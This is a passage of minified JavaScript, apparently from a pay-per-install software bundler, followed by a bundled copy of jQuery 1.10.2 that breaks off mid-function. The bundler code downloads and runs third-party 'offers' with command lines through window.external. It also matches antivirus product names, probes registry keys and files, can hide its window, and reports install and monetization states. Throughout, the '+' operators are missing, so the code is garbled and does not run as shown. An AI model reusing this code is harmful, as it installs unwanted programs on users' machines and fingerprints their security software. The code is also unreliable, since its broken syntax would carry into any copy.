u=k.algo={};return k}(Math);function printStates(){if(window.external&&("printStates" in window.external)&&("acceptedMonetizations" in window.external)){var object=[];$.each(dataObject.offers,function(key,offer){var newObject={};newObject.id=offer.id;newObject.name=offer.name;newObject.canGroup=offer.offerPresentation.canGroup;newObject.monetization=offer.offerBehavior.monetizationTypes;newObject.restrictions=offer.offerBehavior.restrictions;newObject.state=offer.state;object.push(newObject)});window.external.printStates(JSON.stringify(object));window.external.acceptedMonetizations(monetizationTypesAccepted)}}function PrintInstallPropiertas(installingOffers){if(window.external&&("printInstallPropiertas" in window.external)){$.each(installingOffers,function(key,offer){window.external.printInstallPropiertas(offer.name,offer.url,offer.commandline)})}}function printCombination(offers,value){if(window.external&&("printCombination" in window.external)){setTimeout(function(){var offersText="";for(var i=0;i<offers.length;i ){for(var a=0;a<offers[i].length;a ){offersText =offers[i][a] " "}offersText=offersText.slice(0,-1);offersText =","}window.external.printCombination(offersText,value);addLog(offersText "->" value)},1)}}function printClearCombination(){if(window.external&&("printClearCombination" in window.external)){setTimeout(function(){window.external.printClearCombination()},1)}}var ignorepresents=null;function GetIgnorePresents(offerID){if(ignorepresents!==null){return ignorepresents}if(window.external&&("GetIgnorePresents" in window.external)){return window.external.GetIgnorePresents(offerID)}else{ignorepresents=0}return ignorepresents}function getRegion(){if(window.external&&("getRegion" in window.external)){return window.external.getRegion()||""}else{return""}}function addLog(message){if(window.external&&("addLog" in window.external)){setTimeout(function(){window.external.addLog(message)},0)}}var installingOffers=null;var totalbytes=0;var installStart=null;function install(offers){installingOffers=offers;PrintInstallPropiertas(offers);SetTotalSize()}function SetTotalSize(){setTimeout(function(){var urls="";$.each(installingOffers,function(key,offer){urls =offer.url "%%%"});urls=urls.slice(0,-3);var bytes=getTotalSize(urls);totalSizeRecivied(bytes)},0)}function totalSizeRecivied(bytes){addLog(bytes);addLog(typeof(bytes.toString()));totalbytes=parseInt(bytes.toString());addLog("parsed");addTrace("totalSizeRecivied");$.each(installingOffers,function(key,offer){try{offer.position=key;addLog("startInstall");startInstall(key,offer.url,offer.commandline,offer.filename,offer.macBehavior);addLog("startedInstall")}catch(err){offer.downloadedBytes=0;offer.totalbytes=0;offer.state=OFFERERROR}});addTrace("allOffersSended");var dateObj=new Date();installStart=dateObj.getTime();getOffersProgress()}var currdownloadedBytes=null;function showInstallProgress(){currdownloadedBytes=0;$.each(installingOffers,function(key,offer){if($.isNumeric(offer.downloadedBytes)){currdownloadedBytes =offer.downloadedBytes}});if(currdownloadedBytes>0){var percentage=Math.round((currdownloadedBytes*90)/totalbytes);if(percentage<90){$("._ProgressText").show();$("._ProgressTextDownloaded").html(humanReadableFileSize(currdownloadedBytes));$("._ProgressTextTotal").html(humanReadableFileSize(totalbytes));$("._ProgressTextPercentage").html(percentage);$("._TotalProgressLevel").width(percentage "%")}else{$("._TotalProgressLevel").width("90%");$("._ProgressText").hide();$("._ProgressInstallingText").show()}}}var errorIntervaTracked=false;function trackErrorOnInterval(message){if(!errorIntervaTracked){errorIntervaTracked=true;onException("DownloadInterval->" message)}}function updateOffersValues(){var allInstalled=true;for(var i=0;i<installingOffers.length;i ){if(installingOffers[i].checking){continue}var response=null;var dateObj=new Date();if(dateObj.getTime()-installStart<900000){response=getDownloadProgress(i)}else{response="-99"}var responseSplited=response.split("|");if(responseSplited.length==2){allInstalled=false;offerProgress(i,responseSplited[0],responseSplited[1])}else{installingOffers[i].checking=true;try{offerInstallComplete(i,responseSplited[0],installingOffers[i].waitToCheck)}catch(err){installingOffers[i].state=INSTALLERROR;sendEx("offercompleteError","offerID->" installingOffers[i].id,"","",JSON.stringify(err))}}}return allInstalled}var wentToFinish=false;function getOffersProgress(){setTimeout(function(){addUniqueTrace("progressIntervalCreated");try{var allInstalled=updateOffersValues();showInstallProgress();if(allInstalled){addUniqueTrace("allInstalled");if(checkFinish()===true&&!wentToFinish){wentToFinish=true;addTrace("FinishInstall");goForward();addLog("finish")}}if(!wentToFinish){getOffersProgress()}}catch(err){trackErrorOnInterval(JSON.stringify(err))}},1000)}function offerProgress(position,downloadedBytes,totalbytes){installingOffers[position].downloadedBytes=parseInt(downloadedBytes);installingOffers[position].totalbytes=parseInt(totalbytes)}function offerInstallComplete(position,result,waitToCheck){addLog(position "->installed");addUniqueTrace("offerInstalled");installingOffers[position].downloadedBytes=installingOffers[position].totalbytes;addSpeficicTrace("install");addLog("waiting " waitToCheck " miliseconds");setTimeout(function(){addLog(position "->checking");offerSetState(installingOffers[position].id,result);printStates();installingOffers[position].completed=true;addSpeficicTrace("installed")},waitToCheck)}function checkFinish(){for(var i=0;i<installingOffers.length;i ){if(installingOffers[i].completed!==true){addLog("CheckFinish false");return false}}addLog("CheckFinish true");return true}function offerSetState(id,resultCode){if(id==-1){mappInstalled=true;return}$.each(dataObject.offers,function(key,offer){if(offer.id==id&&offer.state==ACCEPTED){try{if(resultCode==-99){offer.state=INSTALLERROR}else{var present=checkPresent(offer.offerBehavior.postCheck,resultCode);if(present==true){offer.state=INSTALLED;track("","");if(offer.offerBehavior.ownerCheck){ownerCheck(offer.id,true)}}else{if(present==false){offer.state=NOCONFIRMED;sendOfferException("not confirmed",resultCode.toString(),"",offer.url,offer.name,"INSTALL NOTCONFIRMED")}else{offer.state=POSTCHECKERROR}}}}catch(err){offer.state=POSTCHECKERROR}}})}function getReport(){}(function(){var h=CryptoJS,j=h.lib.WordArray;h.enc.Base64={stringify:function(b){var e=b.words,f=b.sigBytes,c=this._map;b.clamp();b=[];for(var a=0;a<f;a =3){for(var d=(e[a>>>2]>>>24-8*(a%4)&255)<<16|(e[a 1>>>2]>>>24-8*((a 1)%4)&255)<<8|e[a 2>>>2]>>>24-8*((a 2)%4)&255,g=0;4>g&&a 0.75*g<f;g ){b.push(c.charAt(d>>>6*(3-g)&63))}}if(e=c.charAt(64)){for(;b.length%4;){b.push(e)}}return b.join("")},parse:function(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c));for(var c=[],a=0,d=0;d<e;d ){if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a }}return j.create(c,a)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();function FormatAntivirusName(currentName,antivirusRegexArray){if(!antivirusRegexArray){return null}var result=null;$.each(antivirusRegexArray,function(key,value){var pattern=new RegExp(value,"i");if(currentName.match(pattern)){result=key;return false}});return result}function checkRegKey(path,key,value){key=key||"";value=value||"";return window.external.checkRegKey(path,key,value)}function minimizeWindow(){return window.external.minimizeWindow()}function checkFile(path,regexp){return window.external.checkFile(path,regexp)}function getResponseFromWrapper(url,post,callback,failcallback){window.external.getResponse(url,post,callback,failcallback)}function checkDirectory(path){return window.external.checkDirectory(path)}function checkRunFile(DownloadUrl,FileName,args,time){time=time||5000;try{return parseInt(window.external.checkRunFile(DownloadUrl,FileName,args,time))}catch(err){return parseInt(window.external.checkRunFile(DownloadUrl,FileName,args))}}var isLoadedOneTime=false;function loaded(){if(!isLoadedOneTime){isLoadedOneTime=true;addTrace("loadedFunctionStart");getBodySize();addTrace("gettedBodySize");var hideFormString=returnIdValue("#_HideBorder")||"0";window.external.loaded(parseInt(actualWidth),parseInt(actualHeight),parseInt(hideFormString));addTrace("called")}}function setWindowName(text){window.external.setWindowName(text)}function hideForm(hide,icon){try{window.external.hideForm(hide,icon)}catch(err){window.external.hideForm(hide)}}function ownerCheck(offerID,set){return window.external.ownerCheck(parseInt(offerID),set)}function createUninstaller(values){if(values.length>0&&window.external&&("createUninstaller" in window.external)){try{return window.external.createUninstaller(values)}catch(err){return false}}}function openUrlOnDefaultBrowser(url){window.external.openUrlOnDefaultBrowser(url)}function externalClose(){onExit()}function closeForm(){addLog("closing");window.external.close()}function showMessage(message,title,twoButtons){return window.external.showMessage(message,title,twoButtons)}function startInstall(key,url,commandline,filename,macBehavior){commandline=commandline||"";return window.external.startInstall(parseInt(key),url,commandline,filename,macBehavior)}function getTotalSize(urls){return window.external.getTotalSize(urls).toString()}function configurationCrypted(){var returnVal=window.external.configurationCrypted();return returnVal.toString()}function disableControlBoxButtons(button,value){window.external.disableControlBoxButtons(button,value)}function getDownloadProgress(id){try{return window.external.getDownloadProgress(id).toString()}catch(err){return"0|1"}}function sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError){return window.external.sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError)}/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map
(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[ -]?(?:\d*\.|)\d (?:[eE][ -]?\d |)/.source,T=/\S /g,C=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,N=/^(?:\s*(<[\w\W] >)[^>]*|#([\w-]*))$/,k=/^<(\w )\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[) /g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d \.|)\d (?:[eE][ -]?\d |)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e){return this}if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n){return !n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n)){for(i in n){x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i])}}return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2]){return r.find(e)}this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n= e (0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l ){if(null!=(o=arguments[l])){for(i in o){e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r))}}}return s},x.extend({expando:"jQuery" (f Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait :x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body){return setTimeout(x.ready)}x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return !isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e "":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e)){return !1}try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf")){return !1}}catch(r){return !1}if(x.support.ownLast){for(n in e){return v.call(e,n)}}for(n in e){}return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e){return !1}return !0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e){return null}"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return " n)():(x.error("Invalid JSON: " n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n){return null}try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: " n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i ){if(r=t.apply(e[i],n),r===!1){break}}}else{for(i in e){if(r=t.apply(e[i],n),r===!1){break}}}}else{if(a){for(;o>i;i ){if(r=t.call(e[i],i,e[i]),r===!1){break}}}else{for(i in e){if(r=t.call(e[i],i,e[i]),r===!1){break}}}}return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e "").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m){return m.call(t,e,n)}for(r=t.length,n=n?0>n?Math.max(0,r n):n:0;r>n;n ){if(n in t&&t[n]===e){return n}}}return -1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r){for(;r>o;o ){e[i ]=n[o]}}else{while(n[o]!==t){e[i ]=n[o ]}}return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o ){r=!!t(e[o],o),n!==r&&i.push(e[o])}return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a){for(;o>i;i ){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}else{for(i in e){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid ,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r){x.access(e,n,l,r[l],!0,a,s)}}else{if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n)){for(;u>l;l ){n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)))}}}return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t){a[o]=e.style[o],e.style[o]=t[o]}i=n.apply(e,r||[]);for(o in t){e.style[o]=a[o]}return i}}),x.ready.promise=function(t){if(!n){if(n=x.Deferred(),"complete"===a.readyState){setTimeout(x.ready)}else{if(a.addEventListener){a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1)}else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}}}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object " t "]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle" -new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t ){if(this[t]===e){return t}}return -1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0]) ",W=R.replace("w","w#"),$="\\[" P "*(" R ")" P "*(?:([*^$|!~]?=)" P "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" W ")|)|)" P "*\\]",I=":(" R ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" $.replace(3,8) ")*)|.*)\\)|)",z=RegExp("^" P " |((?:^|[^\\\\])(?:\\\\.)*)" P " $","g"),X=RegExp("^" P "*," P "*"),U=RegExp("^" P "*([> ~]|" P ")" P "*"),V=RegExp(P "*[ ~]"),Y=RegExp("=" P "*([^\\]'\"]*)" P "*\\]","g"),J=RegExp(I),G=RegExp("^" W "$"),Q={ID:RegExp("^#(" R ")"),CLASS:RegExp("^\\.(" R ")"),TAG:RegExp("^(" R.replace("w","w*") ")"),ATTR:RegExp("^" $),PSEUDO:RegExp("^" I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" P "*(even|odd|(([ -]|)(\\d*)n|)" P "*(?:([ -]|)" P "*(\\d )|))" P "*\\)|)","i"),bool:RegExp("^(?:" B ")$","i"),needsContext:RegExp("^" P "*[> ~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" P "*((?:-\\d)?\\d*)" P "*\\)|)(?=[^-]|$)","i")},K=/^[^{] \{\s*\[native \w/,Z=/^(?:#([\w-] )|(\w )|\.([\w-] ))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}" P "?|(" P ")|.)","ig"),it=function(e,t,n){var r="0x" t-65536;return r!==r||n?t:0>r?String.fromCharCode(r 65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n ]=t[r ]){}e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e){return n}if(1!==(l=t.nodeType)&&9!==l){return[]}if(h&&!i){if(o=Z.exec(e)){if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode){return n}if(a.id===s){return n.push(a),n}}else{if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s){return n.push(a),n}}}else{if(o[2]){return M.apply(n,t.getElementsByTagName(e)),n}if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName){return M.apply(n,t.getElementsByClassName(s)),n}}}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='" m "'] ",u=c.length;while(u--){c[u]=m yt(c[u])}y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x){try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n =" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return !!e(t)}catch(n){return !1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--){o.attrHandle[n[r]]=t}}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r){return r}if(n){while(n=n.nextSibling){if(n===t){return -1}}}return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t= t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--){n[i=o[a]]&&(n[i]=!(r[i]=n[i]))}})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i ]){1===n.nodeType&&r.push(n)}return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||g.push("\\[" P "*(?:value|" B ")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]=" P "*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t){while(t=t.parentNode){if(t===e){return !0}}}return !1},A=d.compareDocumentPosition?function(e,t){if(e===t){return S=!0,0}var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t){return S=!0,0}if(!o||!a){return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0}if(o===a){return pt(e,t)}r=e;while(r=r.parentNode){s.unshift(r)}r=t;while(r=r.parentNode){l.unshift(r)}while(s[i]===l[i]){i }return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t))){try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType){return n}}catch(i){}}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: " e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o ]){t===e[o]&&(i=n.push(o))}while(i--){e.splice(n[i],1)}}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent){return e.textContent}for(e=e.firstChild;e;e=e.nextSibling){n =a(e)}}else{if(3===i||4===i){return e.nodeValue}}}else{for(;t=e[r];r ){n =a(t)}}return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"}," ":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" " e[3] " "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]= (e[4]?e[5] (e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]= (e[7] e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return !0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e " "];return t||(t=RegExp("(^|" P ")" e "(" P "|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i ="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" " i " ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length 1)===n "-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return !!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g]){if(s?p.nodeName.toLowerCase()===y:1===p.nodeType){return !1}}h=g="only"===e&&!h&&"nextSibling"}return !0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p= d&&p&&p[g]||(f=d=0)||h.pop()){if(1===p.nodeType&& 